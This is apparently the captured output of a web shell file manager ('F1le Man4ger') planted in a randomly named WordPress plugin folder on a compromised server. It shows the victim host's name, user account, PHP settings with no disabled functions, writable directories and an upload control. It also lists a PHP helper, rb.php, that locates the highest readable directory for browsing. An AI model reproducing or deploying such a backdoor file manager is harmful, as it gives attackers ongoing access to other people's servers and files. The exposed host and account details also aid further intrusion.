Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/nandedex/www/wp-content/plugins/f38549a8af284269aaf47e5de87a2bfe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : /home/nandedex/www/wp-content/plugins/f38549a8af284269aaf47e5de87a2bfe/rb.php
<?php
function findReadableRoot() {
    // Get the current absolute path
    $currentPath = realpath(getcwd());
    if ($currentPath === false) {
        $currentPath = getcwd();
    }

    if (!$currentPath) {
        return '/';
    }

    // Attempt to use POSIX functions if available
    if (function_exists('posix_getuid') && function_exists('posix_getpwuid')) {
        $userInfo = posix_getpwuid(posix_getuid());
        if ($userInfo && isset($userInfo['dir'])) {
            $userDir = $userInfo['dir'];
            if (is_dir($userDir) && is_readable($userDir)) {
                return rtrim($userDir, '/') . '/';
            }
        }
    }

    // Get open_basedir setting to find allowed root
    $openBaseDir = ini_get('open_basedir');
    $allowedPaths = explode(':', $openBaseDir);

    // Find the relevant allowed path that matches our current path
    $basePath = '';
    foreach ($allowedPaths as $path) {
        if (strpos($currentPath, $path) === 0) {
            $basePath = $path;
            break;
        }
    }

    // If no matching base path found, use current path
    if (empty($basePath)) {
        $basePath = $currentPath;
    }

    // Ensure the base path is readable and exists
    if (is_dir($basePath) && is_readable($basePath)) {
        return rtrim($basePath, '/') . '/';
    }

    // Fallback to root if nothing else works
    return '/';
}

echo findReadableRoot();
?>

F1le Man4ger